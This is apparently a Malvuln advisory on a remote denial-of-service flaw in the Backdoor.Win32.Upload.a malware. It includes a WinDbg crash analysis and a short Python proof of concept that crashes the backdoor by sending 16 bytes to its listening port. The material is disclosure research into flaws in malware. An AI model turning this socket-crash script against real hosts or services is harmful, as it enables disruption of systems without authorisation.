Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/70711c4f594fe97ff6ab17039c133458.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Upload.a
Vulnerability: Remote Denial of Service 
Description: The malware listens on TCP port 49971, each time it is run the port increments by one 49972 etc. Third-party attackers who can reach the infected host can send a payload of just few bytes to crash the backdoor.
Type: PE32
MD5: 70711c4f594fe97ff6ab17039c133458
Vuln ID: MVID-2021-0224
Disclosure: 05/23/2021

Memory Dump:
(1f48.19e8): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00000003 edi=00000003
eip=77aeed3c esp=05d9f5f4 ebp=05d9f784 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
77aeed3c c21400          ret     14h

0:002> .ecxr
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00408694 edi=00404bd0
eip=00404caa esp=05d9ff34 ebp=05d9ff80 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
*** WARNING: Unable to verify checksum for Backdoor.Win32.Upload.a.70711c4f594fe97ff6ab17039c133458.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Upload.a.70711c4f594fe97ff6ab17039c133458.exe
Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+0x4caa:
00404caa 8a4001          mov     al,byte ptr [eax+1]        ds:002b:00000001=??

0:002> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP: 
Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+4caa
00404caa 8a4001          mov     al,byte ptr [eax+1]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00404caa (Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+0x00004caa)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 00000001
Attempt to read from address 00000001

PROCESS_NAME:  Backdoor.Win32.Upload.a.70711c4f594fe97ff6ab17039c133458.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  00000001

READ_ADDRESS:  00000001 

FOLLOWUP_IP: 
Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+4caa
00404caa 8a4001          mov     al,byte ptr [eax+1]

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  000019e8

BUGCHECK_STR:  APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ

PRIMARY_PROBLEM_CLASS:  NULL_CLASS_PTR_DEREFERENCE

DEFAULT_BUCKET_ID:  NULL_CLASS_PTR_DEREFERENCE

LAST_CONTROL_TRANSFER:  from 776f8654 to 00404caa

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
05d9ff80 776f8654 00000000 776f8630 b72ca01f Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+0x4caa
05d9ff94 77ae4a77 00000000 514535be 00000000 kernel32!BaseThreadInitThunk+0x24
05d9ffdc 77ae4a47 ffffffff 77b09ed9 00000000 ntdll!__RtlUserThreadStart+0x2f
05d9ffec 00000000 00404bd0 00000000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  ~2s; .ecxr ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+4caa

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458

IMAGE_NAME:  Backdoor.Win32.Upload.a.70711c4f594fe97ff6ab17039c133458.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  21475346

FAILURE_BUCKET_ID:  NULL_CLASS_PTR_DEREFERENCE_c0000005_Backdoor.Win32.Upload.a.70711c4f594fe97ff6ab17039c133458.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+4caa


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=49971

def doit():

    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    PAYLOAD="A"*16
    s.send(PAYLOAD)
    s.close()
    
    print("Backdoor.Win32.Upload.a /  Remote Denial of Service")
    print("MD5: 70711c4f594fe97ff6ab17039c133458")
    print("By Malvuln")


if __name__=="__main__":
    doit()



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